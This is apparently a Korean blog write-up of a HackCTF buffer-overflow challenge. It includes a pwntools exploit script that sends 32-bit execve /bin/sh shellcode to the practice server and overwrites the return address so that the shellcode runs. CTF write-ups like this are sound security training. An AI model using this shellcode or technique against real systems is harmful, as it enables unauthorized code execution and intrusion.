wargame/HackCTF

[HackCTF] 내 버퍼가 흘러넘친다!! | write up

$1m0hYa 2019. 8. 29. 23:03

안녕하세요! 여러분들!

 

이번에는 HackCTF 내 버퍼가 흘러넘친다!! 라업을 준비해봤습니다 ㅎㅎ

일단 먼저 실행해보겠습니다

먼저 name이랑 input만 입력을 받네요.

 

그럼 한번 checksec이랑 file을 이용해 표층분석도 해보겠습니다.

잠깐!

모두 비활성화 되어있네요!!

 

근데 여기서 중요한건 NX가 활성화 되어있지 않다는것!!

그럼 쉘코드를 사용할수 있다는 것이네요 ㅎㅎ

 

그럼 이제 ida를 이용하여 어떻게 되는지 분석해 보겠습니다.

자 한번 보겠습니다.

 

변수 s의 크기 : 0x14

 

name변수에 0x32만큼 입력을 받고요,

그후, s변수에 또 입력을 받네요.

 

여기서 알수 있는점!

name변수랑 s변수 둘다 입력을 받는다는 겁니다!

 

근데 보면 s는 무한대로 입력받을 수 있어서 s에 bof 를 일으킬수 있어요!

 

그래서 저는 name 변수에는 쉘코드를 넣고,

s에는 bof를 일으켜서 ret주소를 name변수의 주소로 맞추어주면..?

바로 쉘코드가 실행 될것입니다!

 

저는 코드를 이렇게 짰습니다.

 

참고로 저기 sh에 있는 쉘코드는 32비트 기반 25바이트 쉘코드 입니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote('ctf.j0n9hyun.xyz'3003)
 
sh = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
 
name = 0x804A060
 
p.recv()
p.sendline(sh)
p.recv()
 
pay = 'a' * 0x14
pay += 'a' * 4
pay += p32(name)
 
p.sendline(pay)
 
p.interactive()
cs

 

 

자 그럼 실행해볼까요?

깔쌈하게 CLEAR!!

'wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable #1 | write up  (2) 2019.09.01
[HackCTF] Basic_FSB | write up  (7) 2019.09.01
[HackCTF] ROP | write up  (0) 2019.08.29
[HackCTF] Basic_BOF #2 | write up  (0) 2019.08.29
[HackCTF] Basic_BOF #1 | write up  (0) 2019.08.29